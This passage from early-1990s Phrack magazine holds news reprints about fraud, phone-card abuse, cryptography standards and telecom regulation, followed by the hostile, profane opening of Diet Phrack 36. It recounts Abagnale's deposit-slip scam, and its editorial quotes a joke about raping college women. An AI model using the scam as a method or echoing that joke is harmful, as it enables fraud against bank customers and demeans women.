Abagnale also claims he never flew an airplane or treated a patient but along the way used false names to get jobs and pass bad checks. He claims he even got a job at age 20 teaching sociology at Brigham Young University, beating out three Ph.D.s for the job.

"I was always just one chapter ahead of the class," he said. Demeanor, style, confidence, clothes and the overt display of wealth also help the con man, Abagnale said.

Abagnale claimed he got one teller to cash a napkin because he drove up to the bank in a chauffeur‑driven Rolls Royce and entered wearing a $600 suit and all the confidence of a billionaire. The feat was recorded for television by CBS, he said.

Another time he supposedly put the numbers of the bank account he was using on a bunch of deposit slips, placed the deposit slips in a bank for public use, and in one day alone more than $40,000 was deposited into his account by unsuspecting customers who picked up his slips because they had either run out of their own or hadn't yet got their own deposit slips.

Abagnale asserted that there are several ways to discourage fraud, including:

‑‑ Use checks that are impossible to duplicate on a home computer. ‑‑ Don't cash checks that don't have at least one rough edge. ‑‑ Scan travelers checks by looking for impossible to reproduce pictures or symbols that can only be seen at eye level or by wetting the back, left‑hand side of an American Express traveler's check, which will smudge if it is authentic.

Abagnale is known as the author of a book called "Catch Me If You Can."

"I always knew I would eventually get caught," he said. "Only a fool believes he won't. The law sometimes sleeps, but it never dies."

Abagnale claimed he started a life of crime when his parents divorced and he was forced to choose between living with his mother or father. He said he couldn't make the choice and ran away.

________________________________________

Dumb Jocks Learn First Lesson of Phreaking October 17, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From Associate Press

Four current Ball State University basketball players have admitted to investigators that they charged a total of $820.90 in unauthorized long distance calls. School officials announced the preliminary findings in the first phase of their report the the NCAA. What the investigators found, in regards to the unauthorized calls, was the following information:

Person Yr Calls Cost

~~~~~~~~~~~~~~~~ ~~~ ~~~~~ ~~~~~~~

Jeermal Sylvester Sop 255 $769.93

Chandler Thompson Sen 28 $ 45.14

Michael Spicer Sen 3 $ 4.43

Keith Stalling Sen 1 $ 1.40

Investigators reported three of the men said former players had provided the long distance credit card numbers or authorization codes on which the calls were made. The fourth player Keith Stalling, could not explain how his call had been charged to the university. Head basketball coach Dick Hunsaker reiterated that neither he nor the coaching staff had made available the numbers that were assigned to the coaches.

"When this problem was first discovered back in August, it came as a shock to me," Hunsaker said. "I'm disappointed with the judgement of the players involved, but I'm glad we're getting to the bottom of it quickly and clearing it up before the season starts."

"Our attention now will focus on former players and other people not connected with the basketball program who might have used the same credit cards and access numbers," said the university's auditor. The investigation that began in August was conducted by the Ball State university's auditor and Department of Public Safety. The investigation started one week after a routine review of telephone records by athletic department officials. At the time, investigators said the total cost of the unauthorized calls was in the thousands of dollars.

________________________________________

Silicon Government in California October 28, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From UPI Sacramento

California unveiled an easy‑to‑use computer system Wednesday that is designed to tell people about such topics as statewide job openings, where parents can find child care and how to re‑register a car.

Officials described the experimental "Info/California" program as an information‑dispensing version of an automatic teller machine at a bank. It will operate in Sacramento and San Diego as a pilot project for the next nine months.

Users will obtain free information on a variety of state services as they touch the television‑like computer screen to evoke an on‑screen narration and color graphics in English, Spanish and potentially other languages.

"It literally puts state government at our fingertips," a computerized image of Gov. Pete Wilson said at a Capitol news conference.

Secretary Russell Gould of the Health and Welfare Agency said the system may be especially useful to announce job openings as the economy rebounds from the recession. Job‑seekers will need a fourth‑grade literacy level to use the machine, which will refer them to Employment Development Department offices for follow‑up.

Director Frank Zolin of the Department of Motor Vehicles said the system will benefit 20 million drivers who want vehicle registration renewals, vanity license plate orders and faster service.

John Poland, Central California manager for IBM ‑‑ the state's partner in the project ‑‑ said that besides telling the public about job opportunities, it will allow Californians to order birth certificates and get information about education, transportation, health and welfare at more than one site.

During the nine‑month trial, people will use the system at 15 kiosks in Sacramento and San Diego that will be similar to, and eventually integrated with, local system kiosks such as those in the courts in Los Angeles and Long Beach, and for community services in San Diego and Tulare counties.

Info/California was authorized under 1988 legislation. It is based on an experimental touchscreen network in Hawaii that 30,260 people used over a sixmonth period.

The state spent about $300,000 on the project, and IBM invested about $3 million to develop the technology. By performing functions now done by humans, the system may ultimately replace some state workers and produce cost savings for taxpayers.

"We're working smart here," Gould said. "This may diminish some of the need for new state workers."

________________________________________

Digital Tapes Deal Endorsed by Music Industry October 30, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From (Congressional Monitor)

Record industry executives joined with retailers and consumer groups in endorsing legislation (S 1623) that would pave the way for widescale introduction of digital audio tapes into the U.S. marketplace.

For the first time, consumers would be allowed to legally make copies of prerecordings for home use.

The agreement would allow artists, songwriters, and record companies to collect royalty fees on the sale of blank tapes and digital audio recorders.

In addition, an electronics chip will be placed in the recorders to prevent anything other than the original recording to be copied.

In testimony before the Senate Judiciary Committee's Subcommittee on Patents, Copyrights, and Trademarks, pop star Debbie Gibson said that many artists had been concerned that digital copying could spell the end of a profitable music industry.

Unlike conventional tapes, digital audio recorders allow consumers to make a perfect copy of a prerecording. The record industry says it already loses $1 billion a year in sales due to illegal copying. And, the industry says, unchecked digital technology would dramatically increase that figure.

Electronics manufacturers and retailers won the assurance that they will not be sued for copyright infringement due to the sale of blank tapes or recorders.

________________________________________

Computer Cryptography: A Cure For The Common Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Anyone can sign a postcard, but how do you sign a piece of electronic mail? Without a "signature" to demonstrate that, say, an electronic transfer of funds really comes from someone authorized to make the transfer, progress towards all‑electronic commerce is stymied. Ways of producing such signatures are available, thanks to the technology of public‑key cryptography. They will not work to everyone's best advantage, though, until everyone uses the same public‑ key system.

It is an obvious opportunity for standards‑makers ‑‑ but in America they have turned up their noses at all the variations on the theme currently in use. The alternative standard for digital signatures now offered by America's National Institute of Standards and Technology (NIST) has brought a longsimmering controversy back to the boil.

Public‑key cryptography could become one of the most common technologies of the information age, underpinning all sorts of routine transactions. Not only does it promise to provide the digital equivalent of a signature, it could also give users an electronic envelope to keep private messages from prying eyes. The idea is to create codes that have two related keys. In conventional cryptography the sender and receiver share a single secret key; the sender uses it to encode the message, the receiver to decode it.

In public‑key techniques, each person has a pair of keys: a disclosed public key and a secret private key. Messages encoded with the private key can only be decoded with the corresponding public key, and vice versa. The public keys are published like telephone numbers. The private keys are secret. With this technology, digital signatures are simple. Encode your message, or just the name you sign it with, using your private key. If the recipient can decode the message with your public key, he can be confident it came from you. Sending a confidential message ‑‑ putting electronic mail in a tamper‑proof envelope ‑‑ is equally straightforward.

To send a secret to Alice encode it with her public key. Only Alice (or someone else who knows her private key) will be able to decode the message. The heart of any system of public‑key cryptography is a mathematical function which takes in a message and a key, and puts out a code. This function must be fairly quick and easy to use, so that putting things into code does not take forever. It must be very hard to undo, so that getting things out of code does take forever, unless the decoder has the decoding key. Obviously, there must be no easy way to deduce the private key from the public key. Finding functions that meet these criteria is "a combination of mathematics and muddle," according to Roger Needham of the Cambridge Computer Laboratory.

The greatest successes to arise from the muddle so far are those using functions called prime factorisation algorithms. They are based on the mathematical insight that, while it is easy to multiply two numbers together, it is very hard to work backwards to find the particular two numbers which were multiplied together to produce some given number. If Alice chooses two large prime numbers as her private key and publishes their 150‑digit product as her public key, it would probably take a code‑breaker thousands of years to work backwards to calculate her private keys.

A variety of schemes have been worked out which use this insight as the basis for a workable public‑key code. Most popular of these is the so‑called RSA algorithm, named after the three MIT professors who created it ‑‑ Ronald Rivest, Adi Shamir and Len Adleman. It has been patented and is sold by a Silicon Valley company, called RSA, that employs 15 people, most of them ex‑MIT graduate students. Faculty firms are to computer start‑ups what family firms were to the industrial revolution. RSA has attracted both academic praise and a range of heavyweight commercial customers: Microsoft, Sun Microsystems, Digital Equipment and Lotus Development. But, despite repeated applications, it has never been endorsed by those in government. Rumors abound that the codebreakers in the National Security Agency have discouraged standard‑setters from recommending RSA because they do not want to promote the use of codes they cannot break. RSA, for obvious reasons, does not discourage the rumors. Whatever the reason, the standard‑setters at the NIST have sidestepped the debate over RSA with their new algorithm, DSA. As set out in the standard, DSA verifies the identity of the sender, but does not encrypt the message. It appends to the message a number calculated from the message and the sender's private key. The recipient can then use this number, the message and the sender's public key to verify that the message is what it seems.

The NIST says that this technique is well suited to "smart cards" and other applications where there is not a lot of computing power available for working out codes. Because it hopes that DSA will be used for verifying the identity of everyone from welfare recipients to military contractors, its flexibility is a boon. Meanwhile, however, more and more companies are choosing a public‑key cryptography system for communicating confidentially ‑often RSA, sometimes something different. Someday, probably soon, governments will want to choose, too. Watch out for fireworks when they do.

________________________________________

SWBT Sends Off First "Cross‑Country" ISDN Call

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From Southwestern Bell Telephone

The nation's first "cross‑country" public network ISDN was placed last week, courtesy of SWBT. The historic first call was the result of a two‑year joint effort among SWBT, BellSouth Corp., US Sprint and Bellcore. SWBT's Advanced Technology Lab originated the call, which used US Sprint's digital facilities in Burlingame, Calif. The call terminated at a BellSouth switch in Atlanta, Ga.

Using an ISDN video application, SWBT's trial director Ken Goodgold was able to see and talk to BellSouth's David Collins. "With this test, the geographic limits of ISDN‑based services were stretched from a few miles to cross‑country," Goodgold says. "We began with protocol testing and service verification, two key parts of the process," Goodgold says. "That required an extremely complex series of technical tests. The Advanced Technology Lab staff worked for months performing the tests leading up to the first successful call."

Last week's test call was significant from a marketing perspective as well as a technical one. That's because it demonstrated the economic benifits of using ISDN for video information. "The cost of a long distance call is approximately the same, whether it's a voice transmission using a regular phone line or a video transmission using ISDN," Goodgold says. "That means a big reduction in cost to arrange a videoconference." US Sprint joined the test because ISDN has evolved beyond the local stage, says Terry Kero, the carrier's director of InfoCom Systems Development Labs. "After today, it will be technically possible to make an ISDN call across the country just as it is possible today to make a regular long distance call," Kero says.

PWN/Part 4

== Phrack Inc. ==

Volume Three, Issue Thirty‑five, File 13 of 13

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue XXXV / Part Four PWN

PWN PWN

PWN Compiled by Dispater PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

The Media Monopoly

~~~~~~~~~~~~~~~~~

by Dispater

As we all know, more technology means more and more legal questions. It is important not only to understand the economic but social impacts of the recent "Telco‑TV" issue. I think technologically the idea of transmitting audio/video signals through phiber optic line is fascinating and a great technological triumph. However, how will society benefit by having an even smaller number of owners controlling the media? There is already a media dynasty due to policies established in Ronald Reagan's presidency.

Today almost all of the media is controlled by 18 global corporations. That is down from 23 in 1990 and down from 50 corporations in 1983. The trend is very scary. In the United States there are around 25,000 different media voices. This includes newspapers, book publishers, television stations, radio stations, movie studios, and magazines. However we should not kid ourselves into thinking that there are 25,000 different owners. Is it fair to that 23 companies have so much power over our lives? It is incredibly dangerous to allow this trend to continue. We must stop this trend and "bust up" the media as it was done in the pre‑Reagan era.

If you are concerned about this issue I strongly urge you to read "The Media Monopoly" by Ben Bagdickian. It is published by Beacon Press and runs around 300 pages in length.

________________________________________

Phone Companies Could Transmit TV Under FCC Plan October 25, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Edmund L. Andrews (The New York Times)

In a surprising and controversial move to promote cable television competition, the Federal Communications Commission proposed today that local telephone companies be allowed to package and transmit television programming.

The proposed rules, which were unanimously endorsed and are likely to be adopted within a year, would expose cable companies to the most threatening competition yet. But they could benefit cable television consumers, many of whom have seen their bills double and triple in recent years.

The cable industry vowed to fight the proposals and threatened to challenge the rules in court if they are adopted. Telephone companies, eager to enter a lucrative new business, applauded.

"Today's action will create competition and offer consumers more choices," said James R. Young, vice‑president of regulatory and industry relations at the Bell Atlantic Corporation. "Let's hope it's a beginning to the end of turf wars."

In essence, the commission recommended that telephone companies be allowed to offer "video dial tone" over telephone lines that would carry programming produced by outside companies. Consumers could view whatever programs they pleased and would be charged accordingly.

Initially, telephone companies would serve primarily as a pipeline, not producing the programs. But the commission said telephone companies should also be allowed to organize and package video services, as long as they make their networks available to all programmers. The commission also opened an inquiry on whether to let telephone companies produce programs.

The idea of allowing so‑called video dial tone service has long been a favorite of the FCC's chairman, Alfred C. Sikes. Congress, which is weighing regulatory legislation to rein in cable process has shied away from the issue. Today's action makes it more likely that lawmakers will have to reconsider the role of telephone companies in television.

Before cable companies would feel much impact from today's FCC proposal, however, most telephone companies would have to spend billions of dollars to install new fiber‑optic transmission lines and switching equipment that could carry large volumes of television material. Analysts have estimated that the cost of converting every home in the country to a fiber‑optic line would be $100 billion to $200 billion and that it would take at least five years.

Most large telephone companies, including all of the regional Bell companies, already plan to replace their copper wires with fiber over the next two decades. The immense business opportunity posed by the $18 billion cable television market is likely to accelerate those plans.

High‑capacity communications lines that reach every home in America could radically alter the distribution of entertainment and enable people on home computers to tap distant libraries and obtain information in seconds.

"Both program providers and consumers would have chances they don't have today, without the bottlenecks provided by cable companies and without the bottlenecks of broadcasting," said Richard Firestone, chief of the FCC's common carrier bureau.

The move was immediately attacked by the National Cable Television Association, which threatened to challenge any new rules in court.

"Until and unless the telco's monopoly in voice telephone is ended, no level of Government safeguards against cross‑subsidies will be effective," said James P. Mahoney, president of the cable association.

The most controversial issue, which the FCC raised for discussion without recommendation, is whether telephone companies should be allowed to produce programming, a much bigger business than transmission. Many Bush Administration officials favor such a move, but television broadcasters and producers bitterly oppose it. Officials noted that such a shift would require changes in the Cable Television Act of 1984.

"Among the top two or three concerns of ever cable operator has always been head‑to‑head competition against local telephone companies," said John Mansell, a senior analyst at Paul Kagan Associates, a marketing‑research firm that monitors the cable industry.

For telephone companies, the move could be a windfall. Steven R. Sieck, vice president of Link Resources Inc., a market‑research firm in New York, said, "It's by far the largest market opportunity among the whole collection of information services" for telephone companies.

It remains unclear, however, whether the new rules will survive in court. The Cable Television Act of 1984 bars a telephone company from owning a cable television franchise in the same market. The FCC ruled today, however, that the law does not prevent a local telephone company from transmitting programs produced by other companies and that it does not bar long‑distance carriers in any way.

The Bell companies have lobbied strongly for legislation that would allow them to enter the cable business, and several companies have invested in European cable franchises. In addition, Pacific Telesis Group, which provides local phone service in California, already holds an option to buy a controlling interest in a Chicago cable franchise, which could be [sic] permissible since it is outside the company's telephone area.

The commission also handed down a ruling that could give telephone companies an important price advantage in future competition with cable operators and could prompt protests from local governments, ruling that neither a telephone company nor a video programmer needs to pay franchise fees to local governments.

Under the cable act, by contrast, local governments can charge cable operators a franchise fee as high as five per cent of revenues.

Explaining today's ruling, Mr. Sikes said, "We have segregation laws, and these segregation laws should be ended." He added that some cable companies were already installing optical fibers in their own networks, and that some were exploring the option of using their networks to offer telephone service.

The proposals mark the second major change in longstanding restrictions on the telephone companies' ability to move into new services. Less than three weeks ago, a Federal appeals court cleared the way for the regional Bell companies to begin providing information services, like news, stock and sports tables, immediately.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Phiber Optic or Twisted Pair?

~~~~~~~~~~~~~~~~~~~~~~~~~~~

by John J. Keller (Wall Street Journal) October 28, 1991

Expanding the nation's telephone network into a vast television broadcast system is going to cost tens of billions of dollars and won't be finished before the end of the decade, say executives at some of the largest phone companies.

But the scale of the project isn't stopping the phone giants, such as GTE Corp., Ameritech, Bell Atlantic Corp., and Pacific Telesis Group, from methodically exploring how to implement such a system.

The Baby Bells and GTE have spent several million dollars testing new systems that carry cable TV shows into homes via the phone network. The phone companies will spend many million of dollars more before they are satisfied that they have a service that matches the current voice phone system and tops today's entrenched cable TV monopolies.

Last week the phone companies were buoyed by a Federal Communications Commission plan to support a new technology called video dial tone, that would put the big phone companies into direct competition with local cable‑television monopolies.

Phone subscribers could use such a system to dial up and order video programs from an entertainment company through the same wire that connects a typical phone call. More important, allowing the phone companies could generate enough traffic to fund "broadband" upper‑capacity information highways that could someday carry TV, medical information, and even FM stereo channels into a home through a single wire, say the executives.

However, big hurdles remain. The FCC hasn't decided whether to let the phone companies participate in the programming end of the cable TV business. The phone companies argue that's a financial necessity, because cable TV companies would be reluctant to share the programs they now support and run them over a rival's network. In addition, the 1984 Cable TV Act, which prohibits phone company participation in the cable business, would have to be rewritten.

"We're encouraged by the FCC action, but it's not as complete a step as there needs to be made," said Larry J. Sparrow, vice president of regulatory and governmental affairs at GTE Telephone Operations, Irvine, Texas. Adds Kathleen Ahren, Nynex Corp.'s director of federal regulatory policy: "For us to build facilities without anyone to use them would be irresponsible... programming is essential."

There are also technical issues such as whether TV service to the home should be provided through a cable‑TV‑like coaxial cable or advanced fiberoptic line. Either would require pulling out existing "twisted pair" wiring that now binds the phones in homes and most small businesses to the local phone network. Moreover, the phone industry must still hammer out technical standards for melding video transmission, which requires tremendous transmission capacity, with voice traffic, which uses far less.

The system that is finally built will require mountains of capital to transform the existing phone network into a high‑capacity phone network of systems that pump signals digitally through fiber‑optic transmission lines, which are glass wires. "We've seen figures that it would cost about $250 billion nationwide," says James R. Young, vice president of regulatory and industry relations at Bell Atlantic. Adds Ms. Ahern, "I don't think our plans would have us doing this in less than 20 years and if we do you're talking billions of dollars."

Pacific Bell, which spends about $1 billion a year on new network equipment, would see that annual tab jump by two to three times in the first several years of constructing a broadband network, says Michael Bloom, customer premise, broadband applications at the San Francisco‑based unit of Pacific Telesis Group. But he notices that as equipment purchases grow and the technology is perfected the annual cost should drop down to current levels after about four years.

PacBell, like most other phone companies, already has installed fiberoptic "trunking" lines to carry bulk traffic between its switching centers. It has also begun replacing copper facilities in some neighborhoods, running optical fibers to the pedestal at the curb and then connecting to the regular phone home wires. Someday these lines will carry cable TV, but for now regulation restricts the phone company to voice and data transmission, says Mr. Bloom.

Someday this will change, says the FCC, which envisions a service where phone customers would turn on their TVs and find a listing of TV shows, movies, news and other programs, supplied by the phone company and other programmers and accessible via remote control.

Several phone companies are already testing such services. In Cerritos, Calif., GTE has built an elaborate network of fiber‑optic and coaxial cables lines and advanced switching systems to deliver TV services to several thousand customers. One service, called "Main Street," allows a customer with a remote control to shop via TV, check a bank account and even seek information on colleges in the US. Another service, dubbed "Center Screen," lets 3,900 residential customers call for a movie or a TV show by dialling a special number. A third service lets some customers talk to one another through a videophone in the house.

"We've found [from the Cerritos tests] that our customers like full‑motion video and not still pictures," which is all that's possible over today's regular phone lines, Mr. Sparrow says.

That's because regular conversation travels over phone lines at the rate of 64,000 bits a second. By contract, "reasonable quality" video, such as the kind that appears from a VCR tape, requires transmission capacity of at least 1.3 megabits to 1.5 megabits a second. High quality video will take capacity of 45 megabits to 90 megabits a second, he says. A megabit equals 1 million bits.

To save money and get as much capacity out of the existing copper‑based systems, Bell Communications Research, the Baby Bell's research arm, has developed "video compression" technology which uses existing copper wire to deliver TV to the home. With video compression, a microprocessor squashes video signals so they can be sent through a regular phone line at the rate of 1.5 megabits a second. The little chip, which is in an electronic box attached to the phone line, looks at an incoming video signal, and filters out the parts of the moving image that are redundant. The chip codes and sends the parts of the signal that are different through the phone line to a receiving box, which decodes and reconstructs the image before projecting it onto the TV screen.

The cable companies hope to retaliate by providing phone service through their cable networks. They are funding research to develop switching systems that can pass phone calls from one cable subscriber to another and out to customers using the regular phone system.

But the blood between the industries isn't all bad. Ameritech's Indiana Bell subsidiary and Cardinal Communications, an Indiana cable TV operator, are testing a fiber distribution system made by Broadband Technologies Inc, of Raleigh, NC. The system is being used to route video and phone signals over backbone fiber‑optic lines and finally through coaxial and twisted pair lines attached to homes in Tipton Lake, a Columbus, Ind. residential development. Bell Atlantic is negotiating with Loudon Cablevision, a cable TV company in Loudon County, Va., to test the transmission of TV signals through phone company lines to 5,000‑6,000 homes in The Cascades, a local housing development.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Baby Bells as Big Brother November 2, 1991

~~~~~~~~~~~~~~~~~~~~~~~~

>From The New York Times

Two official decisions in October, one liberating and the other frightening, may shape telecommunications ‑‑ and America ‑‑ for decades. The liberating decision, by the Federal Communications Commission, proposes to allow the seven regional telephone companies to transmit TV programs.

If implemented, that proposal for video‑by‑phone would free families to tell cable operators, if they misbehave, to get lost.

The frightening decision, by a federal appeals court, unblocked the same seven "Baby Bell" companies from owning electronic yellow pages, video shopping and other information services.

Unless Congress intervenes, this decision will allow the Baby Bells to exploit their monopolistic stranglehold over residential phone lines and dictate what information reaches nearly every home. The same principle ought to govern in both situations: democracy needs diversity.

Technological advances have brought the nation to a regulatory crossroad. A single information pipeline ‑‑ perhaps fiber‑optic cable, perhaps enhanced coaxial or copper wire ‑‑ may soon pour an unimaginable array of phone, video and data communications into homes. Whoever controls the pipeline controls access to American minds.

The best protection against Big Brother is to separate control of the pipeline from the information. That could be easily enforced by requiring that pipeline owners, like the Baby Bells, serve only as common carriers and lease pipeline space to information providers on a non‑discriminatory basis.

Common carrier status is what the FCC proposal would achieve for video services but what the appeals court decision would foreclose for information services.

Congress seems unwilling to impose common carrier status. But Rep. Jim Cooper, D‑Tenn., offers a second‑best remedy. As long as the Baby Bells retain monopoly control over local phone service, he would allow each to sell information only outside its own region. His bill also offers stringent safeguards against anti‑competitive behavior.

Yet the bill's provisions aren't as safe as common carrier status. The Baby Bells have frequently violated regulations; rules alone are unlikely to stop them from subsidizing forays into information services with funds extracted from captive rate‑payers.

Contrary to their claims, the Baby Bells have no special abilities to provide electronic services. If they could sell video shopping for a profit, so could hundreds of other companies ‑‑ not one of which has the power to intimidate ratepayers because not one has privileged access to their homes.

Nor, as the Baby Bells claim, do they need to produce their own information services in order to fill capacity on fiber‑optic cables they might lay.

The strongest argument the Baby Bells offer is technological. Only a single company, they contend, will be able to marry pipeline and information. But there's no proof of this speculation and besides, there are better ways to manage the problem.

The Cooper bill provides plausible protection against monopolistic Baby Bells, giving them ample room to compete but limited room to exploit.

Newspapers, including The New York Times Co., support the bill for competitive commercial reasons. But there is a much more important reason for the public to favor, and Congress to adopt, the Cooper bill: to protect the free, diverse flow of information on which democracy depends.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Don't Baby the Bells November 10, 1991

~~~~~~~~~~~~~~~~~~~

>From The New York Times

Although the Bell companies are opposed by numerous groups, including the Consumer Federation of America, the cable television industry and existing providers of electronic information services, it is the newspapers that are its biggest opponents.

The publishers argue that the telephone companies can compete unfairly by subsidizing their services with money from their regulated telephone businesses and by imposing technical obstacles to competing information suppliers.

But one of their biggest fears is simply that the telephone companies could attract a large proportion of the classified advertising, a mainstay for newspapers, by offering cheap and easy‑to‑use electronic bulletin boards.

The newspapers are pushing Congress to adopt a bill introduced by Representative Jim Cooper, Democrat of Tennessee, which would not allow a Bell company to offer information services unless those services are already available to at least 50 percent of the people in the area over an alternative network.

As a practical matter, the bill would reinstate the information‑service ban for all Bell companies for years, because of the difficulty in building an alternative network that reaches most customers.

To defend their position as more than a simple bid to keep out competition, the newspaper association has crafted a blunt advertising campaign around the slogan "Don't Baby the Bells."

In one ad, the association warns that the telephone companies could amass as much private information on customers as the Internal Revenue Service.

But while many members of Congress are worried about giving new powers to the Bell companies, the Cooper bill has thus far attracted only 24 sponsors, and most experts doubt the bill can muster enough support to pass even the House.

Meanwhile, the Bush administration strongly favors lifting the prohibition on information services and would probably move to veto a bill that kept it in place. The upshot is that newspaper publishers are in a difficult position.

A stalemate in Congress amounts to a complete victory for the Bell companies, because court decisions have already given them precisely what they want.

In Congress, however, aides to leading lawmakers say they are waiting in part to see how much popular and political strength each side can muster. "We want them to show us what they can bring," one staff member said about the publishers.

One lobbyist allied with the publishers said opponents of the Bell companies were essentially trying to build up a bargaining position. "You could see this as the beginning of a minuet," he said. "The question is whether they will ever get into the middle of the floor and dance."

________________________________________

36

- Introduction to Diet Phrack 36 by Dr. Dude & Compaq Disk

- Diet Phrack Loopback by Phrack Staff

- In Living Computer by Knight Lightning

- The History ah MOD by Wing Ding

- *ELITE* Access by Lord Digital & Dead Lord

- The Legion of Doom & The Occult by unknown

- Searching for speciAl acceSs agentS by Dr. Dude

- Phreaks in Verse II by Homey the Hacker

- Real Cyberpunks by The Men from Mongo

- Elite World News by Dr. Dude

- Elite World News by Dr. Dude

Introduction to Diet Phrack 36

==Diet Phrack==

Volume Three, Issue Thirty‑Six, File 1 of 11

Issue XXXVI Index

_________

P H R A C K 3 6

December 31, 1991

_________

"You've Got The Right One Baby, UH HUH!"

Happy New Year Everyone! HoHoCon'91 is behind us and with the end of the year is the end of the third volume of Phrack. This special issue is called Diet Phrack because of the whole Phrack vs. Phrack Classic crisis (which is probably more KL's doing than anyone elses) that went on during the middle of volume three.

Diet Phrack was conceived in August 1991 during PartyCon when Dispater, Knight Lightning, and several other friends gathered to party and bitch about where Phrack was and wasn't going. Eventually this led to the new Phrack staff that began with Phrack 33.

Diet Phrack is also the long‑awaited sequel to Phrack 13 (which some consider the most worthless issue ever, but its probably because they weren't a part of Phrack's main circle of friends and didn't understand all the private jokes).

COMMENTS AND OBSERVATIONS CONCERNING HOHOCON'91

"Phrack sucks!"

Well that was certainly a common remark at HoHoCon and considering that the majority of the attendees were local Houston losers expecting us to print codes and passwords for them, we weren't really surprised.

Do you think Phrack sucks? You probably aren't reading this if you do, but seriously, if you really think it sucks you can fuck off. You are welcome to go start your own magazine with the latest scans of c0dEz and VMBs (that will sure be useful after about a week). That is not what we are about.

Why don't you try writing something yourself instead of copying useless material directly out of the Bellcore Catalog? Why don't you actually do something like hack instead of expecting others to do it for you?!?

When Dispater stood up at HoHoCon and asked the crowd what kind of systems they hacked and what they were interested in learning about, the 70 people sitting there just looked around like a bunch of grazing cows (no pun or offense intended to our friends in ‑cDc‑, oooM!)

It's pretty obvious to us that the people who complain most about Phrack don't even bother to read it. At least they would know the correct spelling of our names.

Phrack is about technology, how to create it, how to use it, and the implications that always arise from it. Phrack is not designed to do the hacking for you. For some, Phrack is a hacker "primer." Generally we expect that the reader already has a reasonable level of intelligence to begin with. In Houston that maybe that was to great an expectation.

THANKS

The Phrack Staff would like to thank the people in Cult of the Dead Cow, the people at WorldView that took the time to chat, the one guy from Digital Murder (who's name esacpes me at the moment) and NCC for being some of the coolest people we met while at the conference. Thanks to NIA Magazine, CUD, and everyone else that promoted it. Furthermore, a very special thanks goes to Drunkfux of dFx International. If not for him, HoHoCon'91 would not have happened!! Additionally this would mean that hordes of people drugged up on Marshmellow Hex sitting in a hallway with a laptop would not have created Cyberwaste; and, Demon Seed would not be alive. Check out cDc #200 for details! Thanks to Erik Bloodaxe for providing the flicks that some could not stomach (after too much beer & assorted beverages)! So thanks again Drunkfux. Nelson is my favorite. (!)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

HOW TO SUBSCRIBE TO PHRACK MAGAZINE

The distribution of Phrack is now being performed by the software called Listserv. All individuals on the Phrack Mailing List prior to your receipt of this letter have been deleted from the list.

If you would like to re‑subscribe to Phrack Inc. please follow these instructions:

1. Send a piece of electronic mail to "LISTSERV@STORMKING.COM". The mail must be sent from the account where you wish Phrack to be delivered.

2. Leave the "Subject:" field of that letter empty.

3. The first line of your mail message should read:

SUBSCRIBE PHRACK <your name here>

4. DO NOT leave your address in the name field!

(This field is for PHRACK STAFF use only, so please use a full name)

Once you receive the confirmation message, you will then be added to the Phrack Mailing List. If you do not receive this message within 48 hours, send another message. If you STILL do not receive a message, please contact "SERVER@STORMKING.COM".

You will receive future mailings from "PHRACK@STORMKING.COM".

If there are any problems with this procedure, please contact "SERVER@STORMKING.COM" with a detailed message.

You should get a conformation message sent back to you on your subscription.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Now we are off to the Cybernetic Realm of Cyberwaste. If you are upset about what is said about you in this issue. DEAL WITH IT! Maybe you should get a sense of humor and then write a file about us. Until next time it's off to cyberspace and as Don Ingraham (luzer) would say, "off to rape campus co‑eds! (was that a good sound bite or WHAT, Geraldo?!?!?)!."

You've had Phrack Classic, NOW try new Diet Phrack! "Just for the Phun of it...Diet Phrack!!"

Your Editors

Compaq Disk (Crimson Death) & Dr. Dude (Dispater)

phracksub@stormking.com

________________________________________

Phrack XXXVI Table of Contents

=‑=‑=‑=‑=‑=‑=‑=‑

1. Introduction to Diet Phrack (Phrack 36) by Compaq Disk and Dr. Dude 2. Diet Phrack Loopback by Phrack Staff

3. In Living Computer starring Knight Lightning

4. The History ah MOD by Wing Ding

5. *ELITE* Access by Dead Lord and Lord Digital (Lords Anonymous!) 6. The Legion of Doom & The Occult by Legion of Doom and Demon Seed Elite 7. Searching for speciAl acceSs agentS by Dr. Dude

8. Phreaks in Verse II by Homey the Hacker

9. Real Cyberpunks by The Men from Mongo

10. Elite World News by Dr. Dude

11. Elite World News by Dr. Dude

Coming soon...

Phrack Jolt!

All the VMBs and TWICE the c0deZ!

Diet Phrack Loopback

==Diet Phrack==

Volume Three, Issue Thirty‑Six, File 2 of 11

[‑=:< Phrack Loopback >:=‑]

by Phrack Staff

Phrack Loopback is a forum for you, the reader, to ask questions, air problems, and talk about whatever topic you would like to discuss. This is also the place the Phrack Staff will make suggestions to you by reviewing various items of note; magazines, software, catalogs, hardware, etc.

________________________________________

WHAT'S ON YOUR MIND?

:: I Act Elite Now Teach Me Something Useful ::

From: Corp. Punishment (90 lbs of skin & bone k0dE geek who couldn't beat up a ferret)

> Hey l0serz,

> Me tinks Phrack sucks. Why dusn't ya bust us sum ReAl hackin' tricks > seein as how I be clueless 'bout any type o' operatin' system, 'cept fo > maybe Amigas.

> (ps: I gots mo c0deZ dan eew ever git in yo laf)

